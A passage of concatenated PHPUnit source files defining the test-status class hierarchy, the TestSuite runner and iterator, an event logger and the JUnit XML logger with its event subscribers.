function asString(): string { return 'deprecation'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Error extends Known { /** * @psalm-assert-if-true Error $this */ public function isError(): bool { return true; } public function asInt(): int { return 8; } public function asString(): string { return 'error'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Failure extends Known { /** * @psalm-assert-if-true Failure $this */ public function isFailure(): bool { return true; } public function asInt(): int { return 7; } public function asString(): string { return 'failure'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Incomplete extends Known { /** * @psalm-assert-if-true Incomplete $this */ public function isIncomplete(): bool { return true; } public function asInt(): int { return 2; } public function asString(): string { return 'incomplete'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class Known extends TestStatus { /** * @psalm-assert-if-true Known $this */ public function isKnown(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Notice extends Known { /** * @psalm-assert-if-true Notice $this */ public function isNotice(): bool { return true; } public function asInt(): int { return 3; } public function asString(): string { return 'notice'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Risky extends Known { /** * @psalm-assert-if-true Risky $this */ public function isRisky(): bool { return true; } public function asInt(): int { return 5; } public function asString(): string { return 'risky'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Skipped extends Known { /** * @psalm-assert-if-true Skipped $this */ public function isSkipped(): bool { return true; } public function asInt(): int { return 1; } public function asString(): string { return 'skipped'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Success extends Known { /** * @psalm-assert-if-true Success $this */ public function isSuccess(): bool { return true; } public function asInt(): int { return 0; } public function asString(): string { return 'success'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class TestStatus { private readonly string $message; public static function from(int $status): self { return match ($status) { 0 => self::success(), 1 => self::skipped(), 2 => self::incomplete(), 3 => self::notice(), 4 => self::deprecation(), 5 => self::risky(), 6 => self::warning(), 7 => self::failure(), 8 => self::error(), default => self::unknown(), }; } public static function unknown(): self { return new Unknown; } public static function success(): self { return new Success; } public static function skipped(string $message = ''): self { return new Skipped($message); } public static function incomplete(string $message = ''): self { return new Incomplete($message); } public static function notice(string $message = ''): self { return new Notice($message); } public static function deprecation(string $message = ''): self { return new Deprecation($message); } public static function failure(string $message = ''): self { return new Failure($message); } public static function error(string $message = ''): self { return new Error($message); } public static function warning(string $message = ''): self { return new Warning($message); } public static function risky(string $message = ''): self { return new Risky($message); } private function __construct(string $message = '') { $this->message = $message; } /** * @psalm-assert-if-true Known $this */ public function isKnown(): bool { return false; } /** * @psalm-assert-if-true Unknown $this */ public function isUnknown(): bool { return false; } /** * @psalm-assert-if-true Success $this */ public function isSuccess(): bool { return false; } /** * @psalm-assert-if-true Skipped $this */ public function isSkipped(): bool { return false; } /** * @psalm-assert-if-true Incomplete $this */ public function isIncomplete(): bool { return false; } /** * @psalm-assert-if-true Notice $this */ public function isNotice(): bool { return false; } /** * @psalm-assert-if-true Deprecation $this */ public function isDeprecation(): bool { return false; } /** * @psalm-assert-if-true Failure $this */ public function isFailure(): bool { return false; } /** * @psalm-assert-if-true Error $this */ public function isError(): bool { return false; } /** * @psalm-assert-if-true Warning $this */ public function isWarning(): bool { return false; } /** * @psalm-assert-if-true Risky $this */ public function isRisky(): bool { return false; } public function message(): string { return $this->message; } public function isMoreImportantThan(self $other): bool { return $this->asInt() > $other->asInt(); } abstract public function asInt(): int; abstract public function asString(): string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Unknown extends TestStatus { /** * @psalm-assert-if-true Unknown $this */ public function isUnknown(): bool { return true; } public function asInt(): int { return -1; } public function asString(): string { return 'unknown'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Warning extends Known { /** * @psalm-assert-if-true Warning $this */ public function isWarning(): bool { return true; } public function asInt(): int { return 6; } public function asString(): string { return 'warning'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const PHP_EOL; use function array_keys; use function array_map; use function array_pop; use function array_reverse; use function assert; use function call_user_func; use function class_exists; use function count; use function implode; use function is_callable; use function is_file; use function is_subclass_of; use function sprintf; use function str_ends_with; use function str_starts_with; use function trim; use Iterator; use IteratorAggregate; use PHPUnit\Event; use PHPUnit\Event\Code\TestMethod; use PHPUnit\Event\NoPreviousThrowableException; use PHPUnit\Metadata\Api\Dependencies; use PHPUnit\Metadata\Api\Groups; use PHPUnit\Metadata\Api\HookMethods; use PHPUnit\Metadata\Api\Requirements; use PHPUnit\Metadata\MetadataCollection; use PHPUnit\Runner\Exception as RunnerException; use PHPUnit\Runner\Filter\Factory; use PHPUnit\Runner\PhptTestCase; use PHPUnit\Runner\TestSuiteLoader; use PHPUnit\TestRunner\TestResult\Facade as TestResultFacade; use PHPUnit\Util\Filter; use PHPUnit\Util\Reflection; use PHPUnit\Util\Test as TestUtil; use ReflectionClass; use ReflectionMethod; use SebastianBergmann\CodeCoverage\InvalidArgumentException; use SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException; use Throwable; /** * @template-implements IteratorAggregate * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class TestSuite implements IteratorAggregate, Reorderable, SelfDescribing, Test { /** * @psalm-var non-empty-string */ private string $name; /** * @psalm-var array> */ private array $groups = []; /** * @psalm-var ?list */ private ?array $requiredTests = null; /** * @psalm-var list */ private array $tests = []; /** * @psalm-var ?list */ private ?array $providedTests = null; private ?Factory $iteratorFilter = null; private bool $wasRun = false; /** * @psalm-param non-empty-string $name */ public static function empty(string $name): static { return new static($name); } /** * @psalm-param class-string $className */ public static function fromClassName(string $className): static { assert(class_exists($className)); $class = new ReflectionClass($className); return static::fromClassReflector($class); } public static function fromClassReflector(ReflectionClass $class): static { $testSuite = new static($class->getName()); $constructor = $class->getConstructor(); if ($constructor !== null && !$constructor->isPublic()) { Event\Facade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Class "%s" has no public constructor.', $class->getName(), ), ); return $testSuite; } foreach (Reflection::publicMethodsInTestClass($class) as $method) { if ($method->getDeclaringClass()->getName() === Assert::class) { continue; } if ($method->getDeclaringClass()->getName() === TestCase::class) { continue; } if (!TestUtil::isTestMethod($method)) { continue; } $testSuite->addTestMethod($class, $method); } if ($testSuite->isEmpty()) { Event\Facade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'No tests found in class "%s".', $class->getName(), ), ); } return $testSuite; } /** * @psalm-param non-empty-string $name */ final private function __construct(string $name) { $this->name = $name; } /** * Returns a string representation of the test suite. */ public function toString(): string { return $this->name(); } /** * Adds a test to the suite. */ public function addTest(Test $test, array $groups = []): void { $class = new ReflectionClass($test); if ($class->isAbstract()) { return; } $this->tests[] = $test; $this->clearCaches(); if ($test instanceof self && empty($groups)) { $groups = $test->groups(); } if ($this->containsOnlyVirtualGroups($groups)) { $groups[] = 'default'; } foreach ($groups as $group) { if (!isset($this->groups[$group])) { $this->groups[$group] = [$test]; } else { $this->groups[$group][] = $test; } } if ($test instanceof TestCase) { $test->setGroups($groups); } } /** * Adds the tests from the given class to the suite. * * @throws Exception */ public function addTestSuite(ReflectionClass $testClass): void { if ($testClass->isAbstract()) { throw new Exception( sprintf( 'Class %s is abstract', $testClass->getName(), ), ); } if (!$testClass->isSubclassOf(TestCase::class)) { throw new Exception( sprintf( 'Class %s is not a subclass of %s', $testClass->getName(), TestCase::class, ), ); } $this->addTest(self::fromClassReflector($testClass)); } /** * Wraps both addTest() and addTestSuite * as well as the separate import statements for the user's convenience. * * If the named file cannot be read or there are no new tests that can be * added, a PHPUnit\Framework\WarningTestCase will be created instead, * leaving the current test run untouched. * * @throws Exception */ public function addTestFile(string $filename): void { try { if (str_ends_with($filename, '.phpt') && is_file($filename)) { $this->addTest(new PhptTestCase($filename)); } else { $this->addTestSuite( (new TestSuiteLoader)->load($filename), ); } } catch (RunnerException $e) { Event\Facade::emitter()->testRunnerTriggeredPhpunitWarning( $e->getMessage(), ); } } /** * Wrapper for addTestFile() that adds multiple test files. * * @throws Exception */ public function addTestFiles(iterable $fileNames): void { foreach ($fileNames as $filename) { $this->addTestFile((string) $filename); } } /** * Counts the number of test cases that will be run by this test. */ public function count(): int { $numTests = 0; foreach ($this as $test) { $numTests += count($test); } return $numTests; } public function isEmpty(): bool { foreach ($this as $test) { if (count($test) !== 0) { return false; } } return true; } /** * @psalm-return non-empty-string */ public function name(): string { return $this->name; } /** * Returns the test groups of the suite. * * @psalm-return list */ public function groups(): array { return array_map( 'strval', array_keys($this->groups), ); } public function groupDetails(): array { return $this->groups; } /** * @throws CodeCoverageException * @throws Event\RuntimeException * @throws Exception * @throws InvalidArgumentException * @throws NoPreviousThrowableException * @throws UnintentionallyCoveredCodeException */ public function run(): void { if ($this->wasRun) { // @codeCoverageIgnoreStart throw new Exception('The tests aggregated by this TestSuite were already run'); // @codeCoverageIgnoreEnd } $this->wasRun = true; if ($this->isEmpty()) { return; } $emitter = Event\Facade::emitter(); $testSuiteValueObjectForEvents = Event\TestSuite\TestSuiteBuilder::from($this); $emitter->testSuiteStarted($testSuiteValueObjectForEvents); if (!$this->invokeMethodsBeforeFirstTest($emitter, $testSuiteValueObjectForEvents)) { return; } /** @psalm-var list $tests */ $tests = []; foreach ($this as $test) { $tests[] = $test; } $tests = array_reverse($tests); $this->tests = []; $this->groups = []; while (($test = array_pop($tests)) !== null) { if (TestResultFacade::shouldStop()) { $emitter->testRunnerExecutionAborted(); break; } $test->run(); } $this->invokeMethodsAfterLastTest($emitter); $emitter->testSuiteFinished($testSuiteValueObjectForEvents); } /** * Returns the tests as an enumeration. * * @psalm-return list */ public function tests(): array { return $this->tests; } /** * Set tests of the test suite. * * @psalm-param list $tests */ public function setTests(array $tests): void { $this->tests = $tests; } /** * Mark the test suite as skipped. * * @throws SkippedTestSuiteError */ public function markTestSuiteSkipped(string $message = ''): never { throw new SkippedTestSuiteError($message); } /** * Returns an iterator for this test suite. */ public function getIterator(): Iterator { $iterator = new TestSuiteIterator($this); if ($this->iteratorFilter !== null) { $iterator = $this->iteratorFilter->factory($iterator, $this); } return $iterator; } public function injectFilter(Factory $filter): void { $this->iteratorFilter = $filter; foreach ($this as $test) { if ($test instanceof self) { $test->injectFilter($filter); } } } /** * @psalm-return list */ public function provides(): array { if ($this->providedTests === null) { $this->providedTests = []; if (is_callable($this->sortId(), true)) { $this->providedTests[] = new ExecutionOrderDependency($this->sortId()); } foreach ($this->tests as $test) { if (!($test instanceof Reorderable)) { continue; } $this->providedTests = ExecutionOrderDependency::mergeUnique($this->providedTests, $test->provides()); } } return $this->providedTests; } /** * @psalm-return list */ public function requires(): array { if ($this->requiredTests === null) { $this->requiredTests = []; foreach ($this->tests as $test) { if (!($test instanceof Reorderable)) { continue; } $this->requiredTests = ExecutionOrderDependency::mergeUnique( ExecutionOrderDependency::filterInvalid($this->requiredTests), $test->requires(), ); } $this->requiredTests = ExecutionOrderDependency::diff($this->requiredTests, $this->provides()); } return $this->requiredTests; } public function sortId(): string { return $this->name() . '::class'; } /** * @psalm-assert-if-true class-string $this->name */ public function isForTestClass(): bool { return class_exists($this->name, false) && is_subclass_of($this->name, TestCase::class); } /** * @throws Event\TestData\MoreThanOneDataSetFromDataProviderException * @throws Exception */ protected function addTestMethod(ReflectionClass $class, ReflectionMethod $method): void { $className = $class->getName(); $methodName = $method->getName(); assert(!empty($methodName)); try { $test = (new TestBuilder)->build($class, $methodName); } catch (InvalidDataProviderException $e) { Event\Facade::emitter()->testTriggeredPhpunitError( new TestMethod( $className, $methodName, $class->getFileName(), $method->getStartLine(), Event\Code\TestDoxBuilder::fromClassNameAndMethodName( $className, $methodName, ), MetadataCollection::fromArray([]), Event\TestData\TestDataCollection::fromArray([]), ), sprintf( "The data provider specified for %s::%s is invalid\n%s", $className, $methodName, $this->throwableToString($e), ), ); return; } if ($test instanceof TestCase || $test instanceof DataProviderTestSuite) { $test->setDependencies( Dependencies::dependencies($class->getName(), $methodName), ); } $this->addTest( $test, (new Groups)->groups($class->getName(), $methodName), ); } private function clearCaches(): void { $this->providedTests = null; $this->requiredTests = null; } private function containsOnlyVirtualGroups(array $groups): bool { foreach ($groups as $group) { if (!str_starts_with($group, '__phpunit_')) { return false; } } return true; } private function methodDoesNotExistOrIsDeclaredInTestCase(string $methodName): bool { $reflector = new ReflectionClass($this->name); return !$reflector->hasMethod($methodName) || $reflector->getMethod($methodName)->getDeclaringClass()->getName() === TestCase::class; } /** * @throws Exception */ private function throwableToString(Throwable $t): string { $message = $t->getMessage(); if (empty(trim($message))) { $message = ''; } if ($t instanceof InvalidDataProviderException) { return sprintf( "%s\n%s", $message, Filter::getFilteredStacktrace($t), ); } return sprintf( "%s: %s\n%s", $t::class, $message, Filter::getFilteredStacktrace($t), ); } /** * @throws Exception * @throws NoPreviousThrowableException */ private function invokeMethodsBeforeFirstTest(Event\Emitter $emitter, Event\TestSuite\TestSuite $testSuiteValueObjectForEvents): bool { if (!$this->isForTestClass()) { return true; } $methods = (new HookMethods)->hookMethods($this->name)['beforeClass']; $calledMethods = []; $emitCalledEvent = true; $result = true; foreach ($methods as $method) { if ($this->methodDoesNotExistOrIsDeclaredInTestCase($method)) { continue; } $calledMethod = new Event\Code\ClassMethod( $this->name, $method, ); try { $missingRequirements = (new Requirements)->requirementsNotSatisfiedFor($this->name, $method); if ($missingRequirements !== []) { $emitCalledEvent = false; $this->markTestSuiteSkipped(implode(PHP_EOL, $missingRequirements)); } call_user_func([$this->name, $method]); } catch (Throwable $t) { } /** @psalm-suppress RedundantCondition */ if ($emitCalledEvent) { $emitter->beforeFirstTestMethodCalled( $this->name, $calledMethod, ); $calledMethods[] = $calledMethod; } if (isset($t) && $t instanceof SkippedTest) { $emitter->testSuiteSkipped( $testSuiteValueObjectForEvents, $t->getMessage(), ); return false; } if (isset($t)) { $emitter->beforeFirstTestMethodErrored( $this->name, $calledMethod, Event\Code\ThrowableBuilder::from($t), ); $result = false; } } if (!empty($calledMethods)) { $emitter->beforeFirstTestMethodFinished( $this->name, ...$calledMethods, ); } return $result; } private function invokeMethodsAfterLastTest(Event\Emitter $emitter): void { if (!$this->isForTestClass()) { return; } $methods = (new HookMethods)->hookMethods($this->name)['afterClass']; $calledMethods = []; foreach ($methods as $method) { if ($this->methodDoesNotExistOrIsDeclaredInTestCase($method)) { continue; } $calledMethod = new Event\Code\ClassMethod( $this->name, $method, ); try { call_user_func([$this->name, $method]); } catch (Throwable $t) { } $emitter->afterLastTestMethodCalled( $this->name, $calledMethod, ); $calledMethods[] = $calledMethod; if (isset($t)) { $emitter->afterLastTestMethodErrored( $this->name, $calledMethod, Event\Code\ThrowableBuilder::from($t), ); } } if (!empty($calledMethods)) { $emitter->afterLastTestMethodFinished( $this->name, ...$calledMethods, ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function assert; use function count; use RecursiveIterator; /** * @template-implements RecursiveIterator * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteIterator implements RecursiveIterator { private int $position = 0; /** * @psalm-var list */ private readonly array $tests; public function __construct(TestSuite $testSuite) { $this->tests = $testSuite->tests(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->tests); } public function key(): int { return $this->position; } public function current(): Test { return $this->tests[$this->position]; } public function next(): void { $this->position++; } /** * @throws NoChildTestSuiteException */ public function getChildren(): self { if (!$this->hasChildren()) { throw new NoChildTestSuiteException( 'The current item is not a TestSuite instance and therefore does not have any children.', ); } $current = $this->current(); assert($current instanceof TestSuite); return new self($current); } public function hasChildren(): bool { return $this->valid() && $this->current() instanceof TestSuite; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging; use const FILE_APPEND; use const LOCK_EX; use const PHP_EOL; use const PHP_OS_FAMILY; use function file_put_contents; use function implode; use function preg_split; use function str_repeat; use function strlen; use PHPUnit\Event\Event; use PHPUnit\Event\Tracer\Tracer; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class EventLogger implements Tracer { private readonly string $path; private readonly bool $includeTelemetryInfo; public function __construct(string $path, bool $includeTelemetryInfo) { $this->path = $path; $this->includeTelemetryInfo = $includeTelemetryInfo; } public function trace(Event $event): void { $telemetryInfo = $this->telemetryInfo($event); $indentation = PHP_EOL . str_repeat(' ', strlen($telemetryInfo)); $lines = preg_split('/\r\n|\r|\n/', $event->asString()); $flags = FILE_APPEND; if (!(PHP_OS_FAMILY === 'Windows' || PHP_OS_FAMILY === 'Darwin') || $this->path !== 'php://stdout') { $flags |= LOCK_EX; } file_put_contents( $this->path, $telemetryInfo . implode($indentation, $lines) . PHP_EOL, $flags, ); } private function telemetryInfo(Event $event): string { if (!$this->includeTelemetryInfo) { return ''; } return $event->telemetryInfo()->asString() . ' '; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use const PHP_EOL; use function assert; use function basename; use function is_int; use function sprintf; use function str_replace; use function trim; use DOMDocument; use DOMElement; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Code\TestMethod; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Telemetry\HRTime; use PHPUnit\Event\Telemetry\Info; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\PreparationStarted; use PHPUnit\Event\Test\Prepared; use PHPUnit\Event\Test\PrintedUnexpectedOutput; use PHPUnit\Event\Test\Skipped; use PHPUnit\Event\TestSuite\Started; use PHPUnit\Event\UnknownSubscriberTypeException; use PHPUnit\TextUI\Output\Printer; use PHPUnit\Util\Xml; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class JunitXmlLogger { private readonly Printer $printer; private DOMDocument $document; private DOMElement $root; /** * @var DOMElement[] */ private array $testSuites = []; /** * @psalm-var array */ private array $testSuiteTests = [0]; /** * @psalm-var array */ private array $testSuiteAssertions = [0]; /** * @psalm-var array */ private array $testSuiteErrors = [0]; /** * @psalm-var array */ private array $testSuiteFailures = [0]; /** * @psalm-var array */ private array $testSuiteSkipped = [0]; /** * @psalm-var array */ private array $testSuiteTimes = [0]; private int $testSuiteLevel = 0; private ?DOMElement $currentTestCase = null; private ?HRTime $time = null; private bool $prepared = false; private bool $preparationFailed = false; private ?string $unexpectedOutput = null; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function __construct(Printer $printer, Facade $facade) { $this->printer = $printer; $this->registerSubscribers($facade); $this->createDocument(); } public function flush(): void { $this->printer->print($this->document->saveXML()); $this->printer->flush(); } public function testSuiteStarted(Started $event): void { $testSuite = $this->document->createElement('testsuite'); $testSuite->setAttribute('name', $event->testSuite()->name()); if ($event->testSuite()->isForTestClass()) { $testSuite->setAttribute('file', $event->testSuite()->file()); } if ($this->testSuiteLevel > 0) { $this->testSuites[$this->testSuiteLevel]->appendChild($testSuite); } else { $this->root->appendChild($testSuite); } $this->testSuiteLevel++; $this->testSuites[$this->testSuiteLevel] = $testSuite; $this->testSuiteTests[$this->testSuiteLevel] = 0; $this->testSuiteAssertions[$this->testSuiteLevel] = 0; $this->testSuiteErrors[$this->testSuiteLevel] = 0; $this->testSuiteFailures[$this->testSuiteLevel] = 0; $this->testSuiteSkipped[$this->testSuiteLevel] = 0; $this->testSuiteTimes[$this->testSuiteLevel] = 0; } public function testSuiteFinished(): void { $this->testSuites[$this->testSuiteLevel]->setAttribute( 'tests', (string) $this->testSuiteTests[$this->testSuiteLevel], ); $this->testSuites[$this->testSuiteLevel]->setAttribute( 'assertions', (string) $this->testSuiteAssertions[$this->testSuiteLevel], ); $this->testSuites[$this->testSuiteLevel]->setAttribute( 'errors', (string) $this->testSuiteErrors[$this->testSuiteLevel], ); $this->testSuites[$this->testSuiteLevel]->setAttribute( 'failures', (string) $this->testSuiteFailures[$this->testSuiteLevel], ); $this->testSuites[$this->testSuiteLevel]->setAttribute( 'skipped', (string) $this->testSuiteSkipped[$this->testSuiteLevel], ); $this->testSuites[$this->testSuiteLevel]->setAttribute( 'time', sprintf('%F', $this->testSuiteTimes[$this->testSuiteLevel]), ); if ($this->testSuiteLevel > 1) { $this->testSuiteTests[$this->testSuiteLevel - 1] += $this->testSuiteTests[$this->testSuiteLevel]; $this->testSuiteAssertions[$this->testSuiteLevel - 1] += $this->testSuiteAssertions[$this->testSuiteLevel]; $this->testSuiteErrors[$this->testSuiteLevel - 1] += $this->testSuiteErrors[$this->testSuiteLevel]; $this->testSuiteFailures[$this->testSuiteLevel - 1] += $this->testSuiteFailures[$this->testSuiteLevel]; $this->testSuiteSkipped[$this->testSuiteLevel - 1] += $this->testSuiteSkipped[$this->testSuiteLevel]; $this->testSuiteTimes[$this->testSuiteLevel - 1] += $this->testSuiteTimes[$this->testSuiteLevel]; } $this->testSuiteLevel--; } /** * @throws InvalidArgumentException */ public function testPreparationStarted(PreparationStarted $event): void { $this->createTestCase($event); } /** * @throws InvalidArgumentException */ public function testPreparationFailed(): void { $this->preparationFailed = true; } /** * @throws InvalidArgumentException */ public function testPrepared(): void { $this->prepared = true; } public function testPrintedUnexpectedOutput(PrintedUnexpectedOutput $event): void { $this->unexpectedOutput = $event->output(); } /** * @throws InvalidArgumentException */ public function testFinished(Finished $event): void { if (!$this->prepared || $this->preparationFailed) { return; } $this->handleFinish($event->telemetryInfo(), $event->numberOfAssertionsPerformed()); } /** * @throws InvalidArgumentException */ public function testMarkedIncomplete(MarkedIncomplete $event): void { $this->handleIncompleteOrSkipped($event); } /** * @throws InvalidArgumentException */ public function testSkipped(Skipped $event): void { $this->handleIncompleteOrSkipped($event); } /** * @throws InvalidArgumentException */ public function testErrored(Errored $event): void { $this->handleFault($event, 'error'); $this->testSuiteErrors[$this->testSuiteLevel]++; } /** * @throws InvalidArgumentException */ public function testFailed(Failed $event): void { $this->handleFault($event, 'failure'); $this->testSuiteFailures[$this->testSuiteLevel]++; } /** * @throws InvalidArgumentException */ private function handleFinish(Info $telemetryInfo, int $numberOfAssertionsPerformed): void { assert($this->currentTestCase !== null); assert($this->time !== null); $time = $telemetryInfo->time()->duration($this->time)->asFloat(); $this->testSuiteAssertions[$this->testSuiteLevel] += $numberOfAssertionsPerformed; $this->currentTestCase->setAttribute( 'assertions', (string) $numberOfAssertionsPerformed, ); $this->currentTestCase->setAttribute( 'time', sprintf('%F', $time), ); if ($this->unexpectedOutput !== null) { $systemOut = $this->document->createElement( 'system-out', Xml::prepareString($this->unexpectedOutput), ); $this->currentTestCase->appendChild($systemOut); } $this->testSuites[$this->testSuiteLevel]->appendChild( $this->currentTestCase, ); $this->testSuiteTests[$this->testSuiteLevel]++; $this->testSuiteTimes[$this->testSuiteLevel] += $time; $this->currentTestCase = null; $this->time = null; $this->prepared = false; $this->unexpectedOutput = null; } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private function registerSubscribers(Facade $facade): void { $facade->registerSubscribers( new TestSuiteStartedSubscriber($this), new TestSuiteFinishedSubscriber($this), new TestPreparationStartedSubscriber($this), new TestPreparationFailedSubscriber($this), new TestPreparedSubscriber($this), new TestPrintedUnexpectedOutputSubscriber($this), new TestFinishedSubscriber($this), new TestErroredSubscriber($this), new TestFailedSubscriber($this), new TestMarkedIncompleteSubscriber($this), new TestSkippedSubscriber($this), new TestRunnerExecutionFinishedSubscriber($this), ); } private function createDocument(): void { $this->document = new DOMDocument('1.0', 'UTF-8'); $this->document->formatOutput = true; $this->root = $this->document->createElement('testsuites'); $this->document->appendChild($this->root); } /** * @throws InvalidArgumentException */ private function handleFault(Errored|Failed $event, string $type): void { if (!$this->prepared) { $this->createTestCase($event); } assert($this->currentTestCase !== null); $buffer = $this->testAsString($event->test()); $throwable = $event->throwable(); $buffer .= trim( $throwable->description() . PHP_EOL . $throwable->stackTrace(), ); $fault = $this->document->createElement( $type, Xml::prepareString($buffer), ); $fault->setAttribute('type', $throwable->className()); $this->currentTestCase->appendChild($fault); if (!$this->prepared) { $this->handleFinish($event->telemetryInfo(), 0); } } /** * @throws InvalidArgumentException */ private function handleIncompleteOrSkipped(MarkedIncomplete|Skipped $event): void { if (!$this->prepared) { $this->createTestCase($event); } assert($this->currentTestCase !== null); $skipped = $this->document->createElement('skipped'); $this->currentTestCase->appendChild($skipped); $this->testSuiteSkipped[$this->testSuiteLevel]++; if (!$this->prepared) { $this->handleFinish($event->telemetryInfo(), 0); } } /** * @throws InvalidArgumentException */ private function testAsString(Test $test): string { if ($test->isPhpt()) { return basename($test->file()); } assert($test instanceof TestMethod); return sprintf( '%s::%s%s', $test->className(), $this->name($test), PHP_EOL, ); } /** * @throws InvalidArgumentException */ private function name(Test $test): string { if ($test->isPhpt()) { return basename($test->file()); } assert($test instanceof TestMethod); if (!$test->testData()->hasDataFromDataProvider()) { return $test->methodName(); } $dataSetName = $test->testData()->dataFromDataProvider()->dataSetName(); if (is_int($dataSetName)) { return sprintf( '%s with data set #%d', $test->methodName(), $dataSetName, ); } return sprintf( '%s with data set "%s"', $test->methodName(), $dataSetName, ); } /** * @throws InvalidArgumentException * * @psalm-assert !null $this->currentTestCase */ private function createTestCase(Errored|Failed|MarkedIncomplete|PreparationStarted|Prepared|Skipped $event): void { $testCase = $this->document->createElement('testcase'); $test = $event->test(); $testCase->setAttribute('name', $this->name($test)); $testCase->setAttribute('file', $test->file()); if ($test->isTestMethod()) { assert($test instanceof TestMethod); $testCase->setAttribute('line', (string) $test->line()); $testCase->setAttribute('class', $test->className()); $testCase->setAttribute('classname', str_replace('\\', '.', $test->className())); } $this->currentTestCase = $testCase; $this->time = $event->telemetryInfo()->time(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class Subscriber { private readonly JunitXmlLogger $logger; public function __construct(JunitXmlLogger $logger) { $this->logger = $logger; } protected function logger(): JunitXmlLogger { return $this->logger; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\ErroredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestErroredSubscriber extends Subscriber implements ErroredSubscriber { /** * @throws InvalidArgumentException */ public function notify(Errored $event): void { $this->logger()->testErrored($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\JUnit; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\FailedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFailedSubscriber extends Subscriber implements FailedSubscriber { /** * @throws InvalidArgumentException */ public function notify(Failed $event): 